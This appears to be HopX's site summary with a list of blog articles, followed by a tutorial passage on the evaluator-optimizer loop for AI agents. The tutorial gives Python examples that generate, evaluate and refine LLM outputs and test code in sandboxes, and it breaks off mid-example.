# HopX - Secure Code Execution for AI Agents
> HopX provides secure, isolated sandboxes for AI agents to execute code safely. Deploy LLMs, run untrusted code, and build production AI applications with hardware-level isolation.
## About HopX
HopX is the cloud infrastructure for AI agents. We provide:
- **Secure Sandboxes**: Hardware-level isolation with dedicated kernels
- **100ms Cold Starts**: Fast startup times for responsive AI applications
- **Pay-per-Second**: Only pay for compute you actually use
- **Multi-Language Support**: Python, Node.js, Go, Rust, and more
## Documentation
- [Getting Started](https://docs.hopx.ai/quickstart)
- [API Reference](https://docs.hopx.ai/api)
- [SDKs](https://docs.hopx.ai/sdks)
- [Templates](https://docs.hopx.ai/templates)
## Blog Articles
### Evaluator-Optimizer Loop: Continuous AI Agent Improvement
Learn how to build AI agents that evaluate their own outputs and iteratively improve them. Create self-improving systems that consistently produce high-quality results.
- URL: https://hopx.ai/blog/ai-agents/evaluator-optimizer-loop/
- Category: AI Agents
- Reading Time: 14 min read
- Keywords: evaluator optimizer, ai evaluation, self-improving ai, agent optimization, llm evaluation, iterative refinement, quality assurance ai, feedback loop, agentic patterns, continuous improvement
### Human-in-the-Loop: Balancing AI Autonomy and Human Control
Learn how to build AI agents that know when to ask for help. Implement approval workflows, escalation patterns, and collaborative human-AI systems that combine the best of both.
- URL: https://hopx.ai/blog/ai-agents/human-in-the-loop-ai-agents/
- Category: AI Agents
- Reading Time: 13 min read
- Keywords: human in the loop, hitl, ai supervision, human oversight, agent approval, ai safety, collaborative ai, human ai interaction, agent escalation, agentic patterns
### Memory for AI Agents: Short-term, Long-term, and RAG
Learn how to give AI agents memory—the ability to remember past interactions, learn from experience, and access knowledge beyond their training. Build agents that get smarter over time.
- URL: https://hopx.ai/blog/ai-agents/memory-pattern-ai-agents/
- Category: AI Agents
- Reading Time: 16 min read
- Keywords: ai agent memory, llm memory, rag, retrieval augmented generation, long-term memory ai, vector database, agent context, conversational memory, semantic memory, agentic patterns
### Microsoft Agent Framework with HopX: Secure Code Execution for AI Agents
Build AI agents with Microsoft's new Agent Framework and HopX sandboxes. The unified successor to AutoGen and Semantic Kernel, now with isolated code execution.
- URL: https://hopx.ai/blog/tutorials/microsoft-agent-framework-hopx/
- Category: Tutorials
- Reading Time: 11 min read
- Keywords: microsoft agent framework, agent framework, autogen successor, semantic kernel, ai agents, hopx, code execution, multi-agent, azure ai, python agents
### The Orchestrator Pattern: Coordinating Complex AI Agent Workflows
Learn how to build orchestrator agents that coordinate multiple specialized agents, manage complex workflows, and handle dynamic task routing. Master the pattern that makes multi-agent systems actually work.
- URL: https://hopx.ai/blog/ai-agents/orchestrator-pattern-ai-agents/
- Category: AI Agents
- Reading Time: 14 min read
- Keywords: orchestrator pattern, agent orchestration, multi-agent coordination, workflow orchestration, agent routing, task delegation, llm orchestration, agent supervisor, agentic patterns, complex workflows
### The Planning Pattern: How AI Agents Break Down Complex Goals
Learn how to implement planning in AI agents—the ability to decompose complex goals into executable steps. Build agents that think before they act and adapt when things change.
- URL: https://hopx.ai/blog/ai-agents/planning-pattern-ai-agents/
- Category: AI Agents
- Reading Time: 14 min read
- Keywords: planning pattern, ai planning, task decomposition, goal breakdown, agent planning, hierarchical planning, llm planning, agentic patterns, autonomous agents, plan and execute
### ReAct Pattern: Combining Reasoning and Acting in AI Agents
Learn the ReAct pattern—where AI agents think out loud before acting. Build more reliable agents that show their reasoning, catch errors early, and solve complex problems step by step.
- URL: https://hopx.ai/blog/ai-agents/react-pattern-reasoning-acting/
- Category: AI Agents
- Reading Time: 15 min read
- Keywords: react pattern, reasoning and acting, react agent, chain of thought, llm reasoning, agent reasoning, thought action observation, react prompting, agentic patterns, ai agent loop
### Microsoft AutoGen with Isolated Code Execution Using HopX
Build production-ready AutoGen agents with secure code execution. Replace Docker with HopX sandboxes for faster, safer multi-agent conversations that can run Python.
- URL: https://hopx.ai/blog/tutorials/autogen-hopx-isolated-execution/
- Category: Tutorials
- Reading Time: 12 min read
- Keywords: autogen, microsoft autogen, code execution, ai agents, hopx, sandbox, multi-agent, docker alternative, python execution, agent conversation
### Build a Code Interpreter Agent with OpenAI and HopX
Create an AI agent that writes and executes Python code using GPT-4 and HopX sandboxes. Complete tutorial with tool calling, error handling, and iterative execution.
- URL: https://hopx.ai/blog/ai-agents/build-code-interpreter-openai-hopx/
- Category: AI Agents
- Reading Time: 10 min read
- Keywords: openai, gpt-4, code interpreter, ai agent, hopx, python, tool calling, function calling
### CrewAI Multi-Agent Pipelines with Secure Code Execution
Build production-ready CrewAI agents that execute code safely. Learn how to create multi-agent workflows where each agent can run code in isolated HopX sandboxes.
- URL: https://hopx.ai/blog/tutorials/crewai-multi-agent-pipelines-hopx/
- Category: Tutorials
- Reading Time: 13 min read
- Keywords: crewai, multi-agent, ai agents, code execution, hopx, sandbox, agent pipelines, autonomous agents, crew ai, agent orchestration
### Getting Started with HopX: Your First Sandbox in 5 Minutes
Create your first secure cloud sandbox with HopX. Learn how to install the SDK, execute code safely, and build AI-powered applications in minutes.
- URL: https://hopx.ai/blog/tutorials/getting-started-with-hopx/
- Category: Tutorials
- Reading Time: 5 min read
- Keywords: hopx, getting started, sandbox, tutorial, python sdk, javascript sdk, code execution, ai agents
### HopX vs Docker vs AWS Lambda: Choosing the Right Execution Environment
Compare HopX sandboxes with Docker containers and AWS Lambda for AI workloads. Learn when to use each and why microVMs are ideal for AI agent code execution.
- URL: https://hopx.ai/blog/use-cases/hopx-vs-docker-vs-lambda/
- Category: Use Cases
- Reading Time: 9 min read
- Keywords: hopx, docker, aws lambda, comparison, serverless, containers, microvm, ai agents, code execution
### LangChain Tools with Secure Code Execution Using HopX
Learn how to build LangChain agents that execute code safely in isolated sandboxes. Complete tutorial with custom tools, PythonREPL replacement, and production-ready patterns.
- URL: https://hopx.ai/blog/tutorials/langchain-tools-secure-code-execution/
- Category: Tutorials
- Reading Time: 13 min read
- Keywords: langchain, langchain tools, code execution, python repl, ai agents, hopx, sandbox, secure execution, langchain agent, custom tools, function calling
### LlamaIndex + HopX: Building RAG Agents with Code Execution
Combine LlamaIndex's powerful RAG capabilities with HopX sandboxed code execution. Build agents that can retrieve information AND compute answers with Python.
- URL: https://hopx.ai/blog/tutorials/llamaindex-hopx-rag-code-execution/
- Category: Tutorials
- Reading Time: 11 min read
- Keywords: llamaindex, rag, code execution, ai agents, hopx, retrieval augmented generation, python, vector search, llama index, agent tools
### Prompt Chaining: How to Build Sequential AI Workflows
Learn prompt chaining—the technique of connecting multiple LLM calls where each output becomes the next input. Build reliable, debuggable AI pipelines with practical Python examples.
- URL: https://hopx.ai/blog/ai-agents/prompt-chaining-sequential-ai-workflows/
- Category: AI Agents
- Reading Time: 14 min read
- Keywords: prompt chaining, llm chain, sequential prompts, ai workflow, langchain, prompt pipeline, chain of thought, multi-step prompts, llm orchestration, agentic patterns
### The Reflection Pattern: Building Self-Correcting AI Systems
Learn how to implement the reflection pattern—where AI reviews and improves its own output. Build more reliable agents that catch errors, refine answers, and produce higher-quality results.
- URL: https://hopx.ai/blog/ai-agents/reflection-pattern-self-correcting-ai/
- Category: AI Agents
- Reading Time: 12 min read
- Keywords: reflection pattern, self-correcting ai, ai self-improvement, llm reflection, iterative refinement, ai quality, agent patterns, critic agent, self-review, agentic patterns
### Scrape and Analyze Airbnb Data with Firecrawl and HopX
Build a complete web scraping and data analysis pipeline using Firecrawl for extraction and HopX sandboxes for secure processing. Extract Airbnb listings, clean data, and generate insights.
- URL: https://hopx.ai/blog/tutorials/scrape-analyze-airbnb-data-firecrawl/
- Category: Tutorials
- Reading Time: 13 min read
- Keywords: firecrawl, web scraping, airbnb, data analysis, python, hopx, data engineering, etl, pandas, feature engineering, llm scraping
### Tool Use: How AI Agents Interact with the Real World
Learn how to give AI agents the ability to use tools—APIs, databases, code execution, and more. Build agents that don't just talk, but actually do things.
- URL: https://hopx.ai/blog/ai-agents/tool-use-pattern-ai-agents/
- Category: AI Agents
- Reading Time: 14 min read
- Keywords: tool use, function calling, ai tools, agent tools, openai functions, api integration, ai agent capabilities, llm tools, agentic patterns, tool augmented llm
### Vercel AI SDK: Streaming Code Execution with HopX
Build AI applications with the Vercel AI SDK that execute code in real-time. Stream sandbox output to users as it happens using Server-Sent Events and React Server Components.
- URL: https://hopx.ai/blog/tutorials/vercel-ai-sdk-streaming-code-execution/
- Category: Tutorials
- Reading Time: 15 min read
- Keywords: vercel ai sdk, streaming, code execution, next.js, react, hopx, server sent events, ai chat, tool calling, server components
### What Is an AI Agent? The Complete Guide for Developers
AI agents are more than chatbots. Learn what makes an AI system agentic, the key components every agent needs, and how to build production-ready autonomous AI systems.
- URL: https://hopx.ai/blog/ai-agents/what-is-an-ai-agent/
- Category: AI Agents
- Reading Time: 11 min read
- Keywords: ai agent, what is an ai agent, autonomous ai, llm agent, agentic ai, ai agent architecture, ai agent vs chatbot, building ai agents, agent loop, tool use
### Why AI Agents Need Isolated Code Execution
AI agents that execute code are powerful but dangerous. Learn why hardware-level isolation is essential for production AI systems and how to avoid costly security breaches.
- URL: https://hopx.ai/blog/ai-agents/why-ai-agents-need-isolated-code-execution/
- Category: AI Agents
- Reading Time: 7 min read
- Keywords: ai agents, code execution, security, isolation, llm, sandbox, microvm, production ai
### Announcing HopX MCP Server: Code Execution for AI Assistants
Introducing the HopX MCP Server - enable Claude, Cursor, and VS Code to execute code in isolated cloud containers. Install with one command and give your AI assistant superpowers.
- URL: https://hopx.ai/blog/product-updates/announcing-hopx-mcp-server/
- Category: Product Updates
- Reading Time: 5 min read
- Keywords: MCP, Model Context Protocol, Claude, Cursor, VS Code, AI assistant, code execution, sandbox, announcement, product update
### Run Any LLM with Ollama in Secure Sandboxes
Deploy Large Language Models using Ollama in secure HopX sandboxes. Learn how to get 100ms cold starts, save up to 78% on costs, and keep data private with hardware-level isolation.
- URL: https://hopx.ai/blog/tutorials/run-any-llm-with-ollama-in-secure-sandboxes/
- Category: Tutorials
- Reading Time: 13 min read
- Keywords: ollama, llm, sandbox, secure, deployment, ai, micro-vm, hopx, self-hosted llm, private ai
### Desktop Automation with HopX: Browser Testing & RPA
Learn how to automate browsers, perform RPA tasks, and run desktop applications in secure cloud sandboxes. Complete guide with Playwright, Puppeteer, and Selenium examples.
- URL: https://hopx.ai/blog/tutorials/desktop-automation-browser-testing-rpa/
- Category: Tutorials
- Reading Time: 8 min read
- Keywords: browser automation, RPA, Playwright, Puppeteer, Selenium, desktop automation, web scraping, headless browser, cloud browser, AI automation
### Custom Templates: Pre-bake Your Perfect Environment
Learn how to create custom HopX templates with pre-installed dependencies, configurations, and files. Reduce cold start times and ensure consistency across sandboxes.
- URL: https://hopx.ai/blog/tutorials/custom-templates-pre-bake-your-environment/
- Category: Tutorials
- Reading Time: 7 min read
- Keywords: custom templates, sandbox templates, Docker, pre-built environments, cold start optimization, HopX templates, container images, dependencies
### How HopX Achieves 100ms Cold Starts
Deep dive into the technology behind HopX's ultra-fast sandbox boot times. Learn about micro-VMs, memory snapshots, and the architecture that enables sub-100ms cold starts.
- URL: https://hopx.ai/blog/deep-dives/how-hopx-achieves-100ms-cold-starts/
- Category: Deep Dives
- Reading Time: 7 min read
- Keywords: cold start, micro-VM, Firecracker, sandbox performance, VM snapshots, cloud performance, serverless, fast boot, virtualization
### Secure File Operations in AI Sandboxes
Complete guide to reading, writing, and managing files in HopX sandboxes. Learn secure patterns for file uploads, downloads, and data processing in isolated environments.
- URL: https://hopx.ai/blog/tutorials/secure-file-operations-in-ai-sandboxes/
- Category: Tutorials
- Reading Time: 8 min read
- Keywords: file operations, sandbox files, secure file handling, file upload, file download, data processing, AI sandbox, file security
### Multi-Agent Architectures with HopX
Design and implement multi-agent systems where each agent has isolated execution capabilities. Learn patterns for agent coordination, task distribution, and secure inter-agent communication.
- URL: https://hopx.ai/blog/deep-dives/multi-agent-architectures-with-hopx/
- Category: Deep Dives
- Reading Time: 11 min read
- Keywords: multi-agent, AI agents, agent architecture, distributed AI, agent coordination, task distribution, autonomous agents, LangChain, AutoGen
### Data Analysis with Pandas in Isolated Sandboxes
Learn how to perform secure data analysis using Pandas in HopX sandboxes. Process CSV files, generate reports, and create visualizations without exposing your data or infrastructure.
- URL: https://hopx.ai/blog/tutorials/data-analysis-with-pandas-in-sandboxes/
- Category: Tutorials
- Reading Time: 10 min read
- Keywords: Pandas, data analysis, Python, CSV processing, data science, visualization, matplotlib, secure analysis, AI data processing
### Streaming Code Execution: Real-time Output for AI Agents
Learn how to stream code execution output in real-time from HopX sandboxes. Build responsive AI agents that show progress, handle long-running tasks, and provide immediate feedback.
- URL: https://hopx.ai/blog/tutorials/streaming-code-execution-for-agents/
- Category: Tutorials
- Reading Time: 9 min read
- Keywords: streaming, real-time output, AI agents, code execution, async, websockets, server-sent events, live updates
### Running Jupyter Notebooks in the Cloud
Execute Jupyter notebooks programmatically in HopX sandboxes. Learn how to run notebooks headlessly, extract results, and build notebook-powered APIs and automation.
- URL: https://hopx.ai/blog/tutorials/running-jupyter-notebooks-in-the-cloud/
- Category: Tutorials
- Reading Time: 9 min read
- Keywords: Jupyter, notebooks, cloud execution, nbconvert, papermill, headless notebooks, Python, data science, automation
### HopX for Education: Safe Coding Environments for Students
Build secure coding platforms for education. Learn how to let students run code safely, grade assignments automatically, and create interactive learning experiences with HopX sandboxes.
- URL: https://hopx.ai/blog/use-cases/hopx-for-education-safe-coding-environments/
- Category: Use Cases
- Reading Time: 10 min read
- Keywords: education, coding education, safe code execution, auto-grading, student coding, online IDE, programming courses, LMS integration, code sandbox
## Use Cases
### AI Code Assistants
Build coding assistants that can safely execute and test code in isolated environments.
### Data Analysis Agents
Deploy agents that process sensitive data without security risks.
### Automated Testing
Run untrusted test suites in isolated sandboxes.
### LLM Deployment
Self-host LLMs with Ollama in secure micro-VMs.
## Pricing
- **Free Tier**: $200 in credits
- **Compute**: $0.000014/vCPU-second
- **Memory**: $0.0000045/GiB-second
- **Storage**: $0.00000003/GiB-second
## Contact
- Website: https://hopx.ai
- Documentation: https://docs.hopx.ai
- GitHub: https://github.com/hopx-ai
## Legal
- Privacy Policy: https://hopx.ai/privacy/
- Terms of Service: https://hopx.ai/terms/
- Security: https://hopx.ai/security/
---
# Full Article Content
## Evaluator-Optimizer Loop: Continuous AI Agent Improvement
URL: https://hopx.ai/blog/ai-agents/evaluator-optimizer-loop/
Category: AI Agents
Published: 2025-11-27
# Evaluator-Optimizer Loop: Continuous AI Agent Improvement
Here's a dirty secret about AI agents: their first output is rarely good enough. But most agents just ship it anyway.
The **Evaluator-Optimizer Loop** fixes this. It's a pattern where one component evaluates the output and another component improves it based on that evaluation. Repeat until quality meets the bar.
This is how you build agents that consistently produce high-quality outputs, not just occasionally good ones.
## What Is the Evaluator-Optimizer Loop?
The pattern separates evaluation from generation:
```
┌─────────────────────────────────────────────────────────────┐
│ Evaluator-Optimizer Loop │
├─────────────────────────────────────────────────────────────┤
│ │
│ ┌───────────────┐ │
│ │ Generator │──────────────┐ │
│ │ │ │ │
│ │ Creates │ ▼ │
│ │ initial │ ┌───────────────┐ │
│ │ output │ │ Evaluator │ │
│ └───────────────┘ │ │ │
│ ▲ │ Scores output │ │
│ │ │ Finds issues │ │
│ │ └───────┬───────┘ │
│ │ │ │
│ │ ▼ │
│ │ ┌───────────────┐ │
│ │ No │ Good enough? │ │
│ │ ┌───────┤ │ │
│ │ │ └───────┬───────┘ │
│ │ │ │ Yes │
│ ┌──────┴─────┐ │ ▼ │
│ │ Optimizer │◄──┘ ┌───────────┐ │
│ │ │ │ Output │ │
│ │ Fixes │ └───────────┘ │
│ │ issues │ │
│ └────────────┘ │
│ │
└─────────────────────────────────────────────────────────────┘
```
Three components work together:
1. **Generator**: Creates the initial output
2. **Evaluator**: Scores the output and identifies issues
3. **Optimizer**: Improves the output based on feedback
The loop continues until the evaluator says "good enough" or max iterations are reached.
## Why This Pattern Works
### 1. Separation of Concerns
Generation and evaluation are different cognitive tasks. Separating them lets each component focus:
```python
# Generator mindset: "Create something that works"
# Evaluator mindset: "Find everything wrong with this"
# Optimizer mindset: "Fix these specific issues"
```
An LLM trying to do all three at once often compromises on each.
### 2. Explicit Quality Gates
Instead of hoping output is good, you define what "good" means:
```python
quality_criteria = {
"accuracy": "All facts must be verifiable",
"completeness": "Must address all parts of the question",
"clarity": "A non-expert should understand",
"conciseness": "No unnecessary content"
}
```
The evaluator checks each criterion explicitly.
### 3. Guaranteed Improvement
Each iteration addresses specific issues. Progress is measurable:
```
Iteration 1: Score 6/10 - Issues: missing examples, too technical
Iteration 2: Score 8/10 - Issues: one factual error
Iteration 3: Score 9/10 - Issues: none critical
→ Output accepted
```
## Basic Implementation
Here's a complete evaluator-optimizer loop:
```python
import openai
import json
from dataclasses import dataclass
@dataclass
class Evaluation:
score: float # 0-10
passed: bool
issues: list[str]
suggestions: list[str]
class EvaluatorOptimizerAgent:
def __init__(self, min_score: float = 8.0, max_iterations: int = 5):
self.client = openai.OpenAI()
self.min_score = min_score
self.max_iterations = max_iterations
def run(self, task: str) -> dict:
"""Generate, evaluate, and optimize until quality threshold met"""
# Initial generation
output = self._generate(task)
iterations = []
for i in range(self.max_iterations):
# Evaluate current output
evaluation = self._evaluate(task, output)
iterations.append({
"iteration": i + 1,
"output_preview": output[:200],
"score": evaluation.score,
"issues": evaluation.issues
})
# Check if good enough
if evaluation.passed:
return {
"success": True,
"output": output,
"final_score": evaluation.score,
"iterations": len(iterations),
"history": iterations
}
# Optimize based on feedback
output = self._optimize(task, output, evaluation)
# Max iterations reached
return {
"success": False,
"output": output,
"final_score": evaluation.score,
"iterations": len(iterations),
"history": iterations,
"note": "Max iterations reached"
}
def _generate(self, task: str) -> str:
"""Initial generation"""
response = self.client.chat.completions.create(
model="gpt-4o",
messages=[{
"role": "system",
"content": "Generate a high-quality response to the task."
}, {
"role": "user",
"content": task
}]
)
return response.choices[0].message.content
def _evaluate(self, task: str, output: str) -> Evaluation:
"""Evaluate the output quality"""
response = self.client.chat.completions.create(
model="gpt-4o",
messages=[{
"role": "system",
"content": f"""Evaluate this output against the original task.
Score from 0-10 based on:
- Accuracy (are facts correct?)
- Completeness (does it fully address the task?)
- Clarity (is it easy to understand?)
- Quality (is it well-written?)
Return JSON:
{{
"score": 7.5,
"issues": ["issue 1", "issue 2"],
"suggestions": ["suggestion 1", "suggestion 2"]
}}
A score of {self.min_score}+ means it passes."""
}, {
"role": "user",
"content": f"Task: {task}\n\nOutput to evaluate:\n{output}"
}],
response_format={"type": "json_object"}
)
data = json.loads(response.choices[0].message.content)
return Evaluation(
score=data["score"],
passed=data["score"] >= self.min_score,
issues=data.get("issues", []),
suggestions=data.get("suggestions", [])
)
def _optimize(self, task: str, output: str, evaluation: Evaluation) -> str:
"""Improve output based on evaluation"""
response = self.client.chat.completions.create(
model="gpt-4o",
messages=[{
"role": "system",
"content": """Improve the output by addressing the issues identified.
Keep what's already good. Only fix what's broken."""
}, {
"role": "user",
"content": f"""Original task: {task}
Current output:
{output}
Issues to fix:
{json.dumps(evaluation.issues, indent=2)}
Suggestions:
{json.dumps(evaluation.suggestions, indent=2)}
Provide the improved output:"""
}]
)
return response.choices[0].message.content
# Usage
agent = EvaluatorOptimizerAgent(min_score=8.0, max_iterations=3)
result = agent.run(
"Write a technical explanation of how HTTPS works for a junior developer"
)
print(f"Success: {result['success']}")
print(f"Final score: {result['final_score']}")
print(f"Iterations: {result['iterations']}")
print(f"\nOutput:\n{result['output']}")
```
## Specialized Evaluators
### Code Quality Evaluator
```python
from hopx import Sandbox
class CodeEvaluator:
def __init__(self):
self.client = openai.OpenAI()
def evaluate(self, code: str, requirements: str) -> Evaluation:
"""Evaluate code quality with actual execution"""
# Test 1: Does it run?
execution_result = self._execute_code(code)
# Test 2: Does it pass tests?
test_result = self._run_tests(code, requirements)
# Test 3: Code quality analysis
quality_result = self._analyze_quality(code)
# Combine scores
score = self._calculate_score(execution_result, test_result, quality_result)
issues = []
if not execution_result["success"]:
issues.append(f"Execution error: {execution_result['error']}")
if not test_result["passed"]:
issues.extend(test_result["failures"])
issues.extend(quality_result["issues"])
return Evaluation(
score=score,
passed=score >= 8.0 and execution_result["success"],
issues=issues,
suggestions=quality_result.get("suggestions", [])
)
def _execute_code(self, code: str) -> dict:
"""Actually run the code"""
sandbox = Sandbox.create(template="code-interpreter")
try:
sandbox.files.write("/app/code.py", code)
result = sandbox.commands.run("python /app/code.py", timeout=30)
return {
"success": result.exit_code == 0,
"output": result.stdout,
"error": result.stderr if result.exit_code != 0 else None
}
finally:
sandbox.kill()
def _run_tests(self, code: str, requirements: str) -> dict:
"""Generate and run tests"""
# Generate tests based on requirements
test_code = self._generate_tests(code, requirements)
sandbox = Sandbox.create(template="code-interpreter")
try:
sandbox.files.write("/app/solution.py", code)
sandbox.files.write("/app/test_solution.py", test_code)
sandbox.commands.run("pip install pytest -q")
result = sandbox.commands.run("python -m pytest /app/test_solution.py -v")
passed = result.exit_code == 0
failures = self._parse_test_failures(result.stdout) if not passed else []
return {"passed": passed, "failures": failures}
finally:
sandbox.kill()
def _analyze_quality(self, code: str) -> dict:
"""LLM-based code quality analysis"""
response = self.client.chat.completions.create(
model="gpt-4o",
messages=[{
"role": "system",
"content": """Analyze code quality. Check for:
- Bugs and logic errors
- Security issues
- Performance problems
- Readability issues
- Missing error handling
Return JSON: {"score": 0-10, "issues": [...], "suggestions": [...]}"""
}, {
"role": "user",
"content": code
}],
response_format={"type": "json_object"}
)
return json.loads(response.choices[0].message.content)
```
### Writing Quality Evaluator
```python
class WritingEvaluator:
def __init__(self):
self.client = openai.OpenAI()
self.criteria = {
"accuracy": {"weight": 0.25, "description": "Facts are correct and verifiable"},
"clarity": {"weight": 0.25, "description": "Easy to understand"},
"structure": {"weight": 0.20, "description": "Well-organized with clear flow"},
"engagement": {"weight": 0.15, "description": "Interesting and holds attention"},
"grammar": {"weight": 0.15, "description": "No spelling or grammar errors"}
}
def evaluate(self, text: str, context: str) -> Evaluation:
"""Multi-dimensional writing evaluation"""
scores = {}
all_issues = []
all_suggestions = []
# Evaluate each criterion
for criterion, config in self.criteria.items():
result = self._evaluate_criterion(text, context, criterion, config["description"])
scores[criterion] = result["score"]
all_issues.extend(result.get("issues", []))
all_suggestions.extend(result.get("suggestions", []))
# Calculate weighted score
total_score = sum(
scores[c] * self.criteria[c]["weight"]
for c in self.criteria
)
return Evaluation(
score=total_score,
passed=total_score >= 8.0 and all(s >= 6.0 for s in scores.values()),
issues=all_issues,
suggestions=all_suggestions
)
def _evaluate_criterion(self, text: str, context: str, criterion: str, description: str) -> dict:
response = self.client.chat.completions.create(
model="gpt-4o",
messages=[{
"role": "user",
"content": f"""Evaluate this text for {criterion}: {description}
Context: {context}
Text:
{text}
Return JSON: {{"score": 0-10, "issues": [...], "suggestions": [...]}}"""
}],
response_format={"type": "json_object"}
)
return json.loads(response.choices[0].message.content)
```
## Advanced Patterns
### Multi-Evaluator Ensemble
Use multiple evaluators and combine their judgments:
```python
class EnsembleEvaluator:
def __init__(self, evaluators: list):
self.evaluators = evaluators
def evaluate(self, output: str, context: str) -> Evaluation:
"""Combine multiple evaluator opinions"""
all_evaluations = []
for evaluator in self.evaluators:
eval_result = evaluator.evaluate(output, context)
all_evaluations.append(eval_result)
# Aggregate scores (weighted average or voting)
avg_score = sum(e.score for e in all_evaluations) / len(all_evaluations)
# Collect all unique issues
all_issues = list(set(
issue for e in all_evaluations for issue in e.issues
))
# Consensus on pass/fail
passes = sum(1 for e in all_evaluations if e.passed)
majority_pass = passes > len(all_evaluations) / 2
return Evaluation(
score=avg_score,
passed=majority_pass,
issues=all_issues,
suggestions=[s for e in all_evaluations for s in e.suggestions]
)
# Usage
ensemble = EnsembleEvaluator([
AccuracyEvaluator(),
ClarityEvaluator(),
StyleEvaluator()
])
```
### Progressive Quality Gates
Different quality bars for different stages:
```python
class ProgressiveOptimizer:
def __init__(self):
self.quality_gates = [
{"name": "basic", "min_score": 5.0, "focus": ["correctness"]},
{"name": "good", "min_score": 7.0, "focus": ["correctness", "clarity"]},
{"name": "excellent", "min_score": 9.0, "focus": ["correctness", "clarity", "polish"]}
]
def run(self, task: str, target_quality: str = "good") -> str:
"""Progressively improve through quality gates"""
output = self._generate(task)
target_gate = next(g for g in self.quality_gates if g["name"] == target_quality)
target_index = self.quality_gates.index(target_gate)
# Progress through each gate up to target
for gate in self.quality_gates[:target_index + 1]:
output = self._optimize_for_gate(task, output, gate)
return output
def _optimize_for_gate(self, task: str, output: str, gate: dict) -> str:
"""Optimize until this gate's criteria are met"""
for _ in range(3): # Max attempts per gate
evaluation = self._evaluate_for_gate(output, gate)
if evaluation.score >= gate["min_score"]:
print(f"✓ Passed {gate['name']} gate ({evaluation.score:.1f})")
return output
output = self._optimize(task, output, evaluation, gate["focus"])
print(f"⚠ Could not pass {gate['name']} gate")
return output
```
### Optimization with Memory
Remember what works and what doesn't:
```python
class LearningOptimizer:
def __init__(self):
self.client = openai.OpenAI()
self.improvement_history = [] # What worked before
self.failure_patterns = [] # What didn't work
def optimize(self, task: str, output: str, evaluation: Evaluation) -> str:
# Learn from history
relevant_successes = self._find_relevant_successes(evaluation.issues)
patterns_to_avoid = self._find_failure_patterns(evaluation.issues)
response = self.client.chat.completions.create(
model="gpt-4o",
messages=[{
"role": "system",
"content": f"""Improve this output.
Issues to fix:
{json.dumps(evaluation.issues)}
Strategies that worked before for similar issues:
{json.dumps(relevant_successes)}
Approaches to AVOID (they didn't work):
{json.dumps(patterns_to_avoid)}"""
}, {
"role": "user",
"content": f"Task: {task}\n\nCurrent output:\n{output}"
}]
)
improved = response.choices[0].message.content
# Track this attempt
self._record_attempt(evaluation.issues, improved)
return improved
def record_success(self, issues: list, solution: str):
"""Record a successful optimization for future reference"""
self.improvement_history.append({
"issues": issues,
"solution_approach": self._extract_approach(solution)
})
def record_failure(self, issues: list, failed_approach: str):
"""Record what didn't work"""
self.failure_patterns.append({
"issues": issues,
"failed_approach": failed_approach
})
```
## Real-World Example: Article Generator
A complete article generator with evaluation and optimization:
```python
from hopx import Sandbox
import openai
import json
class ArticleGenerator:
def __init__(self):
self.client = openai.OpenAI()
self.min_score = 8.5
self.max_iterations = 4
def generate(self, topic: str, requirements: dict) -> dict:
"""Generate a high-quality article through iterative improvement"""
# Phase 1: Initial draft
draft = self._create_draft(topic, requirements)
# Phase 2: Iterative improvement
for iteration in range(self.max_iterations):
print(f"\n--- Iteration {iteration + 1} ---")
# Evaluate
evaluation = self._evaluate_article(draft, topic, requirements)
print(f"Score: {evaluation.score}/10")
print(f"Issues: {evaluation.issues}")
if evaluation.passed:
print("✓ Article meets quality bar")
break
# Optimize
draft = self._improve_article(draft, evaluation, requirements)
# Phase 3: Final polish
final = self._polish(draft)
# Verify code examples if present
if "```python" in final:
final = self._verify_code_examples(final)
return {
"article": final,
"iterations": iteration + 1,
"final_score": evaluation.score
}
def _create_draft(self, topic: str, requirements: dict) -> str:
response = self.client.chat.completions.create(
model="gpt-4o",
messages=[{
"role": "system",
"content": f"""Write a technical article.
Requirements:
- Length: {requirements.get('length', '1500-2000')} words
- Audience: {requirements.get('audience', 'developers')}
- Style: {requirements.get('style', 'informative but engaging')}
- Include: code examples, practical tips
Structure:
1. Hook/Introduction
2. Main content (3-5 sections)
3. Practical examples
4. Conclusion with actionable takeaways"""
}, {
"role": "user",
"content": f"Topic: {topic}"
}]
)
return response.choices[0].message.content
def _evaluate_article(self, article: str, topic: str, requirements: dict) -> Evaluation:
response = self.client.chat.completions.create(
model="gpt-4o",
messages=[{
"role": "system",
"content": f"""Evaluate this article rigorously.
Criteria (score each 0-10):
1. Technical accuracy - Are all facts and code correct?
2. Completeness - Does it cover the topic adequately?
3. Clarity - Is it easy to follow?
4. Engagement - Is it interesting to read?
5. Actionability - Can readers apply what they learned?
6. SEO - Are headings and structure optimized?
Requirements to check:
{json.dumps(requirements)}
Return JSON:
{{
"scores": {{"accuracy": 8, "completeness": 7, ...}},
"overall_score": 7.5,
"issues": ["specific issue 1", "specific issue 2"],
"suggestions": ["specific suggestion 1"]
}}"""
}, {
"role": "user",
"content": f"Topic: {topic}\n\nArticle:\n{article}"
}],
response_format={"type": "json_object"}
)
data = json.loads(response.choices[0].message.content)
return Evaluation(
score=data["overall_score"],
passed=data["overall_score"] >= self.min_score,
issues=data["issues"],
suggestions=data["suggestions"]
)
def _improve_article(self, article: str, evaluation: Evaluation, requirements: dict) -> str:
response = self.client.chat.completions.create(
model="gpt-4o",
messages=[{
"role": "system",
"content": """Improve the article by fixing the identified issues.
Maintain the overall structure and good parts.
Focus specifically on the issues listed."""
}, {
"role": "user",
"content": f"""Current article:
{article}
Issues to fix:
{json.dumps(evaluation.issues, indent=2)}
Suggestions to consider:
{json.dumps(evaluation.suggestions, indent=2)}
Provide the improved article:"""
}]
)
return response.choices[0].message.content
def _polish(self, article: str) -> str:
"""Final polish pass"""
response = self.client.chat.completions.create(
model="gpt-4o",
messages=[{
"role": "user",
"content": f"""Polish this article:
- Fix any remaining typos or grammar issues
- Ensure smooth transitions between sections
- Verify formatting is consistent
Article:
{article}"""
}]
)
return response.choices[0].message.content
def _verify_code_examples(self, article: str) -> str:
"""Extract and test all code examples"""
import re
code_blocks = re.findall(r'```python\n(.*?)```', article, re.DOTALL)
sandbox = Sandbox.create(template="code-interpreter")
try:
for i, code in enumerate(code_blocks):
sandbox.files.write(f"/app/example_{i}.py", code)
result = sandbox.commands.run(f"python /app/example_{i}.py")
if result.exit_code != 0:
# Fix the code
fixed_code = self._fix_code(code, result.stderr)
article = article.replace(f"```python\n{code}```", f"```python\n{fixed_code}```")
return article
finally:
sandbox.kill()
# Usage
generator = ArticleGenerator()
result = generator.generate(
topic="Building RESTful APIs with FastAPI",
requirements={
"length": "2000-2500 words",
